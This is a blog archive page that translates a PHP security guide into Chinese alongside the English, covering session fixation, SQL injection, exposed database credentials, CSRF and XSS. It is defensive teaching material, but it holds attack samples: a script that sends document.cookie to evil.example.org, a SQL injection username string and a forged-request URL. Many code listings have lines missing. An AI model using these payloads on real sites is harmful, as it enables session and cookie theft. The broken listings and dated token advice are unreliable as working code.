Entries tagged as security
PHP Security / Sessions / Session Fixation Sun, Jul 1. 2007
Session Fixation
会话固定攻击
Session security is a sophisticated topic, and it's no surprise that sessions are a frequent target of attack. Most session attacks involve impersonation, where the attacker attempts to gain access to another user's session.
会话安全是一个老生常谈的话题了,会话作为一个常见的攻击目标一点也不稀奇。 绝大多数的会话攻击都用的是会话伪装,攻击者要试图用这种方法访问另外一个用户的会话。
The most crucial piece of information for an attacker is the session identifier, because this is required for any impersonation attack. There are three common methods used to obtain a valid session identifier:
对于攻击者来说,最重要的信息就是会话 ID,因为这对任何伪装攻击都是非常重要的。 要想得到一个合法的会话 ID,有三种常见的办法:
- Prediction
- Capture
- Fixation
- 预测
- 捕获
- 固定
Prediction refers to guessing a valid session identifier. With PHP's native session mechanism, the session identifier is extremely random, and this is unlikely to be the weakest point in your implementation.
预测就是猜想一个合法会话 ID。根据 PHP 原生的会话机制,会话 ID 非常的随机, 所以不太可能是你程序的最薄弱的环节。
Capturing a valid session identifier is the most common type of session attack, and there are numerous approaches. Because session identifiers are typically propagated in cookies or as GET variables, the different approaches focus on attacking these methods of transfer. While there have been a few browser vulnerabilities regarding cookies, these have mostly been Internet Explorer, and cookies are slightly less exposed than GET variables. Thus, for those users who enable cookies, you can provide them with a more secure mechanism.
捕获一个合法的会话 ID 是会话攻击中最常用的方法,而且有很多不同的方式。 因为会话 ID 通常都是通过 cookie 或者 GET 变量传递, 所以各种攻击方法的区别之处就在于攻击哪种传输 ID 的方法。 虽然有几个关于处理 cookie 的浏览器漏洞,IE 的漏洞最多, 而且比起 GET 变量来,cookie 不太可能被暴露。 所以,对于那些启用了 cookie 的用户,你可以给他们提供更安全的会话机制。
Fixation is the simplest method of obtaining a valid session identifier. While it's
not very difficult to defend against, if your session mechanism consists of nothing
more than session_start(), you are vulnerable.
会话固定是得到一个合法的会话 ID 的最简单的方法。
虽然防御这种攻击不是很难,但是如果你的会话机制只使用了 session_start() 的话,
你的系统非常容易受到攻击。
In order to demonstrate session fixation, I will use the following script,
session.php:
我用下面这个 session.php 脚本来示范一下会话固定:
- <?php
- {
- $_SESSION['visits'] = 1;
- }
- else
- {
- $_SESSION['visits']++;
- }
- ?>
Upon first visiting the page, you should see 1 output to the screen. On each
subsequent visit, this should increment to reflect how many times you have
visited the page.
在你第一次访问这个页面的时候,你应该能够看到屏幕上输出的 1。
接下来的每一次访问,这个输出结果应该每次加一,以反映你访问了这个页面多少次。
To demonstrate session fixation, first make sure that you do not have an existing
session identifier (perhaps delete your cookies), then visit this page with
?PHPSESSID=1234 appended to the URL. Next, with a completely different
browser (or even a completely different computer), visit the same URL again with
?PHPSESSID=1234 appended. You will notice that you do not see 1 output on
your first visit, but rather it continues the session you previously initiated.
为了演示会话固定攻击,首先要确保你现在没有任何已存在的会话 ID(可以试着删除 cookie),
然后访问这个页面,访问的时候在 URL 后面附加上 ?PHPSESSID=1234。
然后,用一个完全不同的浏览器(最好换一台计算机),同样在 URL 后面附加上 ?PHPSESSID=1234
再次访问这个页面。你会发现你在首次访问的时候看见的输出不是 1,
而是继续刚才初始化的那个会话。
Why can this be problematic? Most session fixation attacks simply use a link or a protocol-level redirect to send a user to a remote site with a session identifier appended to the URL. The user likely won't notice, since the site will behave exactly the same. Because the attacker chose the session identifier, it is already known, and this can be used to launch impersonation attacks such as session hijacking.
为什么会话固定会成问题?大多数会话固定攻击者都是简单的使用一个链接, 或者一个协议层的重定向来给远程站点发送用户信息,也是通过在 URL 后面附加会话 ID 的方法。 因为这个站点的行为完全的一样,所以用户不太可能注意到。 又因为会话 ID 是攻击者选定的,这是已知的,所以这可以用来发动更加类似会话劫持这样的攻击。
A simplistic attack such as this is quite easy to prevent. If there isn't an active session associated with a session identifier that the user is presenting, then regenerate it just to be sure:
我们可以很容易的防范这种非常简单的攻击。如果用户提供了一个会话 ID, 但是没有任何活动的会话与之相关联,那么就重新声称一个 ID 以确保保险。
- <?php
- {
- $_SESSION['initiated'] = true;
- }
- ?>
The problem with such a simplistic defense is that an attacker can simply initialize a session for a particular session identifier, and then use that identifier to launch the attack.
这种简单的防御有一个问题,就是攻击者很容易就能初始化一个有着特定 ID 的会话, 然后用这个 ID 来发动攻击。
To protect against this type of attack, first consider that session hijacking is only really useful after the user has logged in or otherwise obtained a heightened level of privilege. So, if we modify the approach to regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.
要防御这种类型的攻击首先要考虑的是会话劫持只有在用户登录了,或者得到了更高权限后才能发挥作用。 所以,如果我们在权限状态发生任何变化(例如,确认和用户名和密码)后都重新生成会话 ID, 这样就能够消除因为成功的会话固定攻击所带来的风险。
PHP Security / Databases and SQL / SQL Injection Tue, Jun 19. 2007
SQL Injection
SQL 注入
SQL injection attacks are extremely simple to defend against, but many applications are still vulnerable. Consider the following SQL statement:
SQL 注入攻击很容易就能防范,但是很多程序在这方面还是很脆弱的。 看下面的 SQL 语句:
- <?php
- $sql = "INSERT
- INTO users (reg_username,
- reg_password,
- reg_email)
- VALUES ('{$_POST['reg_username']}',
- '$reg_password',
- '{$_POST['reg_email']}')";
- ?>
This query is constructed with $_POST, which should immediately look
suspicious.
这个查询使用 $_POST 进行构造,这样一眼就能够看出问题。
Assume that this query is creating a new account. The user provides a desired username and an email address. The registration application generates a temporary password and emails it to the user to verify the email address. Imagine that the user enters the following as a username:
假设这个查询时用来创建新帐号用的。用户指定他们想要用户名和 email 地址。 然后注册程序生成一个临时密码并且发送给用户以验证 email 地址。 假设用户输入了一个这样的用户名;
bad_guy', 'mypass', ''), ('good_guy
This certainly doesn't look like a valid username, but with no data filtering in
place, the application can't tell. If a valid email address is given
(shiflett@php.net, for example), and 1234 is what the application generates
for the password, the SQL statement becomes the following:
这个用户名看起来肯定不是一个合法的用户名,但是如果没有适当的数据过滤,
程序是区分不出来的。如果给定了一个合法的 email 地址(例如 shiflett@php.net),
程序生成的密码是 1234,那么这个 SQL 语句就变成下面这个样子:
- <?php
- $sql = "INSERT
- INTO users (reg_username,
- reg_password,
- reg_email)
- VALUES (' bad_guy', 'mypass', ''),
- ('good_guy',
- '1234',
- 'shiflett@php.net')";
- ?>
Rather than the intended action of creating a single account (good_guy) with a
valid email address, the application has been tricked into creating two accounts,
and the user supplied every detail of the bad_guy account.
本来预期的动作是创建一个有合法 email 地址的单一帐号(good_guy),
但是程序实际上被欺骗而创建了两个帐号,而且用户还指定了 bad_guy 帐号的所有信息。
While this particular example might not seem so harmful, it should be clear that worse things could happen once an attacker can make modifications to your SQL statements.
虽然这个特定的例子看起来没有那么大的危害,但是这说明了一旦攻击者能够修改你的 SQL 语句, 不定发生什么糟糕的事情呢。
For example, on the database you are using, it might be possible to send multiple queries to the database server in a single call. Thus, a user can potentially terminate the existing query with a semicolon and follow this with a query of the user's choosing.
例如,根据你用的数据库,很可能允许在一次调用中发送多个查询请求。 这样,用户就可能能够用一个分号终止当前的查询,然后紧跟着加入用户所选择的查询。
MySQL, until recently, does not allow multiple queries, so this particular risk is
mitigated. Newer versions of MySQL allow multiple queries, but the
corresponding PHP extension (ext/mysqli) requires that you use a separate
function if you want to send multiple queries (mysqli_multi_query() instead
of mysqli_query()). Only allowing a single query is safer, because it limits
what an attacker can potentially do.
到目前为止,MySQL 还不允许多重查询,所以这个特定的风险倒是不大。
MySQL 的新版支持多重查询,不过对应的 PHP 扩展(ext/mysqli)
要求你在希望进行多重查询的时候使用单独的函数(用 mysqli_multi_query() 替代 mysqli_query())。
因为单一查询能够限制攻击者可能做的事情,所以使用单一查询更加安全。
Protecting against SQL injection is easy:
防范 SQL 注入还是很简单的:
-
Filter your data.
This cannot be overstressed. With good data filtering in place, most security concerns are mitigated, and some are practically eliminated.
-
过滤数据。
这是绝对不能被越过的。如果在适当的地方有很好的数据过滤, 大多数安全隐患都能够减轻,甚至差不多都能够消除。
-
Quote your data.
If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.
-
给数据加引号。
如果你的数据库支持,在 SQL 语句里给所有的值都加上单引号,不管是什么类型的数据。
-
Escape your data.
Sometimes valid data can unintentionally interfere with the format of the SQL statement itself. Use
mysql_escape_string()or an escaping function native to your particular database. If there isn't a specific one,addslashes()is a good last resort. -
数据转义。
有一些数据,虽然是合法的,但是可能会在无意中和 SQL 语句的格式产生冲突。 那么就使用
mysql_escape_string()函数,或者你的数据库原生的转义函数进行数据转义。 如果没有特定的转义函数,addslashes()是最后手段。
PHP Security / Databases and SQL / Exposed Access Credentials Mon, Jun 18. 2007
Exposed Access Credentials
连接信息泄漏
Most PHP applications interact with a database. This usually involves connecting to a database server and using access credentials to authenticate:
绝大多数的 PHP 程序都要和数据库交互。 这个交互过程通常都是首先连接到数据数据库,然后通过连接信息认证。
- <?php
- $host = 'example.org';
- $username = 'myuser';
- $password = 'mypass';
- ?>
This could be an example of a file called db.inc that is included whenever a
connection to the database is needed. This approach is convenient, and it keeps
the access credentials in a single file.
这可以作为一个用来演示 db.inc 文件的例子,你可以在任何需要数据库连接的时候引用这个文件。
这样就可以把连接信息保存在单一文件里,这倒是挺方便的。
Potential problems arise when this file is somewhere within document root. This
is a common approach, because it makes include and require statements
much simpler, but it can lead to situations that expose your access credentials.
如果你把这个文件放在文档根目录里面的话,潜在的问题就会显现出来。
这样放是很常见的,因为能够让 include 和 require 语句写起来很简单,
但是这会引起连接信息的泄露。
Remember that everything within document root has a URL associated with it.
For example, if document root is /usr/local/apache/htdocs, then a file
located at /usr/local/apache/htdocs/inc/db.inc has a URL such as
http://example.org/inc/db.inc.
请记住,在文档根目录里面的所有文件都有一个对应的 URL。
例如,如果文档根目录是 /usr/local/apache/htdocs,
那么一个位于 /usr/local/apache/htdocs/inc/db.inc 的文件,
就对应着一个类似 http://example.org/inc/db.inc 这样的 URL。
Combine this with the fact that most Web servers will serve .inc files as plain
text, and the risk of exposing your access credentials should be clear. A bigger
problem is that any source code in these modules can be exposed, but access
credentials are particularly sensitive.
大多数 Web 服务器都把 .inc 文件作为普通文本处理,把这个事实和上面的规则一起考虑,
由于泄露连接信息所引发的风险就很明了了。
还有一个更大的问题,就是任何在这些模块里面的源代码都有泄露的可能,
当然了,连接信息是最为敏感的。
Of course, one simple solution is to place all modules outside of document root,
and this is a good practice. Both include and require can accept a filesystem
path, so there's no need to make modules accessible via URL. It is an
unnecessary risk.
当然了,一个简单但是很好的解决方法就是把这些模块都放到文档根目录外面。
include 和 require 语句都能够接受文件系统路径作为参数,
因此,没有必要让人通过 URL 访问这些模块。这是一个不必要的风险。
If you have no choice in the placement of your modules, and they must be within
document root, you can put something like the following in your httpd.conf file
(assuming Apache):
如果你无法选择放置这些模块的地方,而且必须放置到文档根目录里,
那么你可以在你的 httpd.conf 文件(假设你使用的是 Apache 服务器)里增加如下语句:
- <Files ~ "\.inc$">
- Order allow, deny
- Deny from all
- </Files>
It is not a good idea to have your modules processed by the PHP engine. This
includes renaming your modules with a .php extension as well as using
AddType to have .inc files treated as PHP files. Executing code out of context
can be very dangerous, because it's unexpected and can lead to unknown
results. However, if your modules consist of only variable assignments (as an
example), this particular risk is mitigated.
允许 PHP 引擎直接处理这些模块可不是什么好主意。
这包括如下两个方面,一、把你的模块都命名为使用 .php 扩展名的文件名,
二、通过 AddType 指令让 Apache 把 .inc 等同于 PHP 文件处理。
在上下文外的环境执行这些代码很可能会很危险,因为这不是所预期的,而且可能会引起未知的后果。
不过,如果这个模块只由一些变量赋值语句组成(就像上面的例子一样),这个风险还是很小的。
My favorite method for protecting your database access credentials is described
in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. Create
a file, /path/to/secret-stuff, that only root can read (not nobody) :
我最喜欢使用 David Sklar and Adam Trachtenberg 写的 《PHP指导手册》(由 O'Reilly 出版)
一书中的方法来保护数据的连接信息。
创建一个文件 /path/to/secret-stuff,
这个文件只有 root(而不是 nobody)能够访问到。
- SetEnv DB_USER "myuser"
- SetEnv DB_PASS "mypass"
Include this file within httpd.conf as follows:
像下面这样把这个文件包含在 httpd.conf 里:
- Include "/path/to/secret-stuff"
Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in
your code. Not only do you never have to write your username and password in
any of your scripts, the Web server can't read the secret-stuff file, so no
other users can write scripts to read your access credentials (regardless of
language). Just be careful not to expose these variables with something like
phpinfo() or print_r($_SERVER).
现在,你可以在程序里面直接使用 $_SERVER['DB_USER'] 和 $_SERVER['DB_PASS']。
不仅你不用在任何程序里直接写用户名和密码,而且 Web 服务器也读不到 secret-stuff 文件,
这样,没有人能够写程序访问到你的连接信息了(不管是什么语言)。
只需要小心不要让类似 phpinfo() 或 print_r($_SERVER) 这样的代码暴露这些变量信息。
PHP Security / Form Processing / Cross-Site Request Forgeries Fri, Jun 8. 2007
Cross-Site Request Forgeries
跨站点请求伪造
Despite the similarities in name, cross-site request forgeries (CSRF) are an almost opposite style of attack. Whereas XSS attacks exploit the trust a user has in a Web site, CSRF attacks exploit the trust a Web site has in a user. CSRF attacks are more dangerous, less popular (which means fewer resources for developers), and more difficult to defend against than XSS attacks.
虽然和跨站点脚本攻击名字很相似,但是跨站点请求伪造是完全不同的攻击方法。 XSS 攻击利用的是用户对网站的信任,CSRF 攻击利用的是网站对用户的信任。 CSRF 攻击更加危险,更加不常见(也意味着对开发着可用的资源更少), 和 XSS 攻击比起来也更加难以防范。
CSRF attacks have the following characteristics:
CSRF 攻击有着如下的特征:
-
Exploit the trust that a site has for a particular user.
Many users may not be trusted, but it is common for Web applications to offer users certain privileges upon logging in to the application. Users with these heightened privileges are potential victims (unknowing accomplices, in fact).
-
利用了站点对特定用户的信任。
对于 Web 程序来说,很常见的一个现象就是大部分用户都不是可信的, 只有通过登陆的用户才有更高级权限。这些有着更高权限的用户都是潜在的受害者 (事实上,他们都不知道自己是同谋)。
-
Generally involve Web sites that rely on the identity of the users.
It is typical for the identity of a user to carry a lot of weight. With a secure session management mechanism, which is a challenge in itself, CSRF attacks can still be successful. In fact, it is in these types of environments where CSRF attacks are most potent.
-
通常都包含那些依赖用户身份的站点。
让用户身份承担重要的作用是很典型的。即使在有安全的 session 管理机制的情况下, CSRF 攻击还是很容易成功的,况且这个机制本身还有疑问呢。事实上, 正是在这种环境下 CSRF 攻击才最有说服力。
-
Perform HTTP requests of the attacker's choosing.
CSRF attacks include all attacks that involve the attacker forging an HTTP request from another user (in essence, tricking a user into sending an HTTP request on the attacker's behalf). There are a few different techniques that can be used to accomplish this, and I will show some examples of one specific technique.
-
执行攻击者所选择的 HTTP 请求。
所有类型的,由攻击者把 HTTP 请求伪装成另外一个用户的,攻击都是 CSRF 攻击 (其实质是,欺骗用户按照攻击者的意愿发送 HTTP 请求)。 要执行这个攻击有几种技术可用,我会用一些例子来说明其中一个特别的技术。
Because CSRF attacks involve the forging of HTTP requests, it is important to first gain a basic level of familiarity with HTTP.
因为 CSRF 攻击包含了 HTTP 请求伪造,所以当务之急是初步熟悉 HTTP。
A Web browser is an HTTP client, and a Web server is an HTTP server. Clients initiate a transaction by sending a request, and the server completes the transaction by sending a response. A typical HTTP request is as follows:
Web 浏览器就是一个 HTTP 客户端,Web 服务器也就是一个 HTTP 服务器。 客户端通过发送请求来发起一个事务,在服务器发送响应结果后事务结束。 下面是一个典型的 HTTP 请求:
- GET / HTTP/1.1
- Host: example.org
- User-Agent: Mozilla/5.0 Gecko
- Accept: text/xml, image/png, image/jpeg, image/gif, /*
The first line is called the request line, and it contains the request method, request URL (a relative URL is used), and HTTP version. The other lines are HTTP headers, and each header name is followed by a colon, a space, and the value.
第一行被称作请求行,这一行包含了请求的方式、请求的 URL(这里使用的是一个相对 URL)和 HTTP 版本号。 其他的行都是 HTTP 头信息,每一个 HTTP 头的名字后面紧跟着一个冒号、一个空格和对应的值。
You might be familiar with accessing this information in PHP. For example, the following code can be used to rebuild this particular HTTP request:
你应该已经熟知如何用 PHP 来访问这些信息了。 例如,下面的代码可以被用来重建上面这个特定的 HTTP 请求:
[geshi lang=php in=y][/geshi]An example response to the previous request is as follows:
如下是一个响应上面的请求的应答的例子:
- HTTP/1.1 200 OK
- Content-Type: text/html
- Content-Length: 57
- <img src="http://example.org/image.png" />
- </html>
The content of a response is what you see when you view source in a browser.
The img tag in this particular response alerts the browser to the fact that another
resource (an image) is necessary to properly render the page. The browser
requests this resource as it would any other, and the following is an example of
such a request:
你在浏览器里面察看源代码的时候所看到的就是响应的内容。
在这个特定的响应里的 img 标签,告诉浏览器要正确的生成这个页面,还需要请求另外一个资源(这个图片)。
浏览器和请求其他资源一样请求这个资源,下面就是这个请求的例子:
- GET /image.png HTTP/1.1
- Host: example.org
- User-Agent: Mozilla/5.0 Gecko
- Accept: text/xml, image/png, image/jpeg, image/gif, /*
This is worthy of attention. The browser requests the URL specified in the src
attribute of the img tag just as if the user had manually navigated there. The
browser has no way to specifically indicate that it expects an image.
这一段值得注意一下。浏览器请求在 img 标签的 src 属性里指定的 URL,
就如同用户手工定向到那里。浏览器无法明确指出请求的是一个图片。
Combine this with what you've learned about forms, and then consider a URL similar to the following:
把这些和你以前学到的关于表单的知识结合起来,然后看一个和下面累死的 URL:
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
A form submission that uses the GET method can potentially be indistinguishable
from an image request – both could be requests for the same URL. If
register_globals is enabled, the method of the form isn't even important
(unless the developer still uses $_POST and the like). Hopefully the dangers are
already becoming clear.
很可能无法把一个使用 GET 方式提交的表单和一个图片请求区分开来——因为这两者都可以以同样的 URL 发送请求。
如果启用了 register_globals 选项,标单提交的方法也都不重要了
(除非开发者还在使用 $_POST 或者类似的变量)。看起来危险已经变清晰了。
Another characteristic that makes CSRF so powerful is that any cookies
pertaining to a URL are included in the request for that URL. A user who has an
established relationship with stocks.example.org (such as being logged in)
can potentially buy 1000 shares of SCOX by visiting a page with an img tag that
specifies the URL in the previous example.
很多附属于一个 URL 的 cookie 都被对那个 URL 的请求所包含,这是另外一个让 CSRF 如此危险的特征。
一个和 stocks.example.org 建立了连接的用户(例如登陆后),
可以通过访问一个页面来买 1000 股 SCOX 股票,这个页面需要有一个 img 标签,
而这个标签指定要访问上面例子中的的 URL。
Consider the following form located (hypothetically) at
http://stocks.example.org/form.html:
看下面这个(假设)位于 http://stocks.example.org/form.html 的表单:
If the user enters SCOX for the symbol, 1000 as the quantity, and submits the
form, the request that is sent by the browser is similar to the following:
如果用户在 symbol 框里面输入 SCOX,在 quantity 框输入 1000,然后提交这个表单,
浏览器会发出和下面相似的请求:
- GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
- Host: stocks.example.org
- User-Agent: Mozilla/5.0 Gecko
- Accept: text/xml, image/png, image/jpeg, image/gif, */*
- Cookie: PHPSESSID=1234
I include a
Cookieheader in this example to illustrate the application using a cookie for the session identifier. If animgtag references the same URL, the same cookie will be sent in the request for that URL, and the server processing the request will be unable to distinguish this from an actual order.我在这个例子的头信息里面包含了一个
Cookie,以说明程序用 cookie 作为会话标示符。 如果一个img标签引用了同样的 URL,那么在对那个 URL 的请求中会发送出去同样的 cookie, 因此,处理这个请求的服务器就无法把这个表单和真正的订单区分开了。There are a few things you can do to protect your applications against CSRF:
有一些你能够用来保护你的程序不受 CSRF 攻击的方法:
-
Use
POSTrather thanGETin forms.Specify
POSTin themethodattribute of your forms. Of course, this isn't appropriate for all of your forms, but it is appropriate when a form is performing an action, such as buying stocks. In fact, the HTTP specification requires that GET be considered safe. -
使用
POST而不是GET方法提交表单。在表单的
method属性里面指定使用POST方法。 当然这不一定对所有的表单都适用,但是当表单要完成一个类似买股票的动作的时候就很适用, 事实上,HTTP 协议规范要求 GET 可以被认识是安全的。 -
Use
$_POSTrather than rely onregister_globals.Using the
POSTmethod for form submissions is useless if you rely onregister_globalsand reference form variables like$symboland$quantity. It is also useless if you use$_REQUEST. -
使用
$_POST变量而不要依赖register_globals选项。如果你依赖于
register_globals选项,并且使用类似$symbol和$quantity这样的形式引用表单变量,那么用POST方法提交表单的方法来避免攻击是徒劳的。如果你使用了$_REQUEST变量, 那么同样还是徒劳的。 -
Do not focus on convenience.
While it seems desirable to make a user's experience as convenient as possible, too much convenience can have serious consequences. While "one-click" approaches can be made very secure, a simple implementation is likely to be vulnerable to CSRF.
-
不要把注意力都集中在便利性上。
虽然说让用户体验尽可能的方便看起来好像很不错,但是过分的便利性会导致严重的后果。 尽管“一次点击”能做的很安全,但是简单的实现很可能受到 CSRF 攻击。
-
Force the use of your own forms.
The biggest problem with CSRF is having requests that look like form submissions but aren't. If a user has not requested the page with the form, should you assume a request that looks like a submission of that form to be legitimate and intended?
-
注意表单的使用。
CSRF 最大的文件就是让请求看起来像是一个表单提交,虽然实际上不是。 如果用户没有通过表单请求相应的页面, 那么对于一个好像是从表单提交过来的请求,你还假设它是合法的、预期的吗?
Now we can write an even more secure message board:
现在我们可以写出来一个更安全的公告板了:- <?php
- ?>
- <form method="post">
- <input type="hidden" name="token" value="<?php echo
- $token; ?>" />
- <input type="text" name="message"><br />
- <input type="submit">
- </form>
- <?php
- {
- {
- }
- }
- ?>
This message board still has a few security vulnerabilities. Can you spot them?
这个公告板还有几个安全漏洞。你能找出来吗?
Time is extremely predictable. Using the MD5 digest of a timestamp is a poor excuse for a random number. Better functions include
uniqid()andrand().时间是可以准确预言的。所以使用时间戳的 MD5 散列来做随机数是很糟糕的办法。
uniqid()和rand()是更好的生成随机数的函数。More importantly, it is trivial for an attacker to obtain a valid token. By simply visiting this page, a valid token is generated and included in the source. With a valid token, the attack is as simple as before the token requirement was added.
更重要的,攻击者来可以很容易的获得到一个合法的令牌。 访问这个页面的时候,生成的那个合法的另外就包含在页面源代码里面。 如果有合法和的令牌,进行攻击就和增加令牌需求以前一样简单了。
Here is an improved message board:
这是一个改进版的公告板:
- <?php
- {
- if ($_POST['token'] == $_SESSION['token'])
- {
- }
- }
- $_SESSION['token'] = $token;
- ?>
- <form method="post">
- <input type="hidden" name="token" value="<?php echo
- $token; ?>" />
- <input type="text" name="message"><br />
- <input type="submit">
- </form>
Is this one completely secure?
这个版本是不是绝对安全了呢?
-
PHP Security / Form Processing / Cross-Site Scripting Wed, Jun 6. 2007
Cross-Site Scripting
跨站点脚本
The media has helped make cross-site scripting (XSS) a familiar term, and the attention is deserved. It is one of the most common security vulnerabilities in Web applications, and many popular open source PHP applications suffer from constant XSS vulnerabilities.
媒体使得跨站点脚本(XSS)成为一个常见词汇,对跨站点脚本多加小心是值得的。 这是在 Web 应用程序里最常见的安全隐患之一,而且很多流行的开源 PHP 程序里也有一定量的 XSS 隐患。
XSS attacks have the following characteristics:
跨站点脚本攻击有着如下的特征:
-
Exploit the trust a user has for a particular site.
Users don't necessarily have a high level of trust for any Web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the Web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting.
-
利用用户对特定站点的信任。
用户不太可能对所有的 Web 站点都能够充分信任,但是浏览器可不是这样的。 举例来说,当浏览器在发送请求中包含了 cookie 的时候,就意味着浏览器是信任这个站点的。 不同用户可能有不同的浏览习惯,甚至在浏览器中给不同的网站设置不同的安全级。
-
Generally involve Web sites that display foreign data.
Applications at a heightened risk include forums, Web mail clients, and anything that displays syndicated content (such as RSS feeds).
-
通常都包含哪些显示外来数据的站点。
论坛、Web 邮件客户端这样的程序都是处于高风险状态的程序, 任何要显示整合内容(例如 RSS 种子)的程序也是。
-
Inject content of the attacker's choosing.
When foreign data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server.
-
注入攻击者所选的内容。
如果外来数据没有很好的过滤,很可能你会显示攻击者所选的内容。 这就和允许供给者直接编辑你服务器上的代码一样危险。
How can this happen? If you display content that comes from any foreign source without properly filtering it, you are vulnerable to XSS. Foreign data isn't limited to data that comes from the client. It also means email displayed in a Web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from a foreign source, and this generally means that most data is foreign data.
这是怎么发生的?如果你显示了来自外部的内容,而这些内容没有经过合适的过滤, 你就很容易受到 XSS 的攻击。外部数据不仅仅局限于来自客户端的数据。 还包括在 Web 邮件客户端里显示的电子邮件、旗帜广告、聚合 blog 等等。 任何不在你原始的代码里的数据都是外来数据,也就是说,绝大多数数据都是外来数据。
Consider the following example of a simplistic message board:
看看下面这个简单的公告板的例子:
- <?php
- {
- }
- ?>
This message board appends <br /> to whatever the user enters, appends this
to a file, then displays the current contents of the file.
这个公告板无论用户输入什么,都在后面添一个 <br />,追加到一个文件里,
然后把这个文件的当前内容显示出来。
Imagine if a user enters the following message:
假设用户输入了如下的信息:
- <script>
- document.location =
- 'http://evil.example.org/steal_cookies.php?cookies=' +
- document.cookie
- </script>
The next user who visits this message board with JavaScript enabled is
redirected to evil.example.org, and any cookies associated with the current
site are included in the query string of the URL.
下一个访问这个公告板的用户,如果启用了 JavaScript 支持,
会被重定向到 evil.example.org 去,而且和当前站点关联的所有
cookie 也会被添加到 URL 中去。
Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better (more malicious?) examples.
当然了,一个真正的攻击者不会被我那可怜的创造力以及 JavaScript 经验缺乏而限制住的。 你可以随意建议一个更好的(或者说更加邪恶的?)例子。
What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by foreign sources (such as other users) and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best practices can mitigate the risk of XSS:
那么你能做什么呢?XSS 实际上是非常容易防范的。 让事情变困难的是,你希望允许外界(例如其他用户)上传一些 HTML 代码,或者客户端脚本, 并且最后显示出来,但是即使这种情况也不是非常难以处理的。 下面这些最佳经验可以帮助你减轻 XSS 风险:
-
Filter all foreign data.
As mentioned earlier, data filtering is the most important practice you can adopt. By validating all foreign data as it enters and exits your application, you will mitigate a majority of XSS concerns.
-
过滤所有外来数据。
前面提到过,数据过滤是你能采取的最重要的措施。 通过过滤应用程序所有的输入输出数据,你就能够减轻绝大部分 XSS 风险。
-
Use existing functions.
Let PHP help with your filtering logic. Functions like
htmlentities(),strip_tags(), andutf8_decode()can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities. -
使用已有函数。
让 PHP 来帮助你的数据过滤吧。类似
htmlentities()、strip_tags()和utf8_decode()这样的函数会非常有用。 尽量避免重写 PHP 已经实现的函数。这不仅仅是因为 PHP 函数更快,还因为 PHP 已有函数经过了更多的测试,出现会引起风险的错误的机会也更小。 -
Use a whitelist approach.
Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.
-
使用白名单。
假设数据在被证明合法之前都是不合法的。 这包括验证数据的长度,以及数据是不是只含有合法的字符。 例如,如果用户提供的是姓,你开始的时候可能会只允许字母和空格。 在这种情况下会有错误的。O'Reilly 和 Berners-Lee 都会被认为是不合法的, 只要在白名单里面添加两个字符就可以很容易修复这个错误。 比起接受恶意数据,拒绝合法数据总是好一些。
-
Use a strict naming convention.
As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.
-
使用严格的命名约定。
正如前面说到的,命名约定能够帮助开发者很容易的区别经过过滤的数据和未经过滤得数据。 对开发者来说,让事情尽可能的简洁、明了是很重要的。 不清楚就会产生混乱,也就会引起安全隐患。
A much safer version of the simple message board mentioned earlier is as follows:
下面的例子是上面提到的公告板的加强安全版:
- <?php
- {
- }
- ?>
With the simple addition of htmlentities(), the message board is now much
safer. It should not be considered completely secure, but this is probably the
easiest step you can take to provide an adequate level of protection. Of course, it
is highly recommended that you follow all of the best practices that have been
discussed.
通过简单的添加 htmlentities() 函数,这个公告板比以前安全多了。
虽然还不能认为是完全的可靠,但是这是你要获得足够的保护级别所使用的最简单的方法了。
当然了,强烈你继续实践刚才讨论的这些最好的经验。
About Myself
职业:无业游民,兼职代码工人,有资格申请南京低保
流窜:石家庄 » 南京
信箱:nulltao@gmail.com
兴趣:C、PHP、Java、美食、睡懒觉、胡思乱想
Quicksearch
Calendar
|
|
November '08 |
|
||||
| Su | Mo | Tu | We | Th | Fr | Sa |
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 | ||||||
Syndicate This Blog
Categories
Link List
- LilyStudio
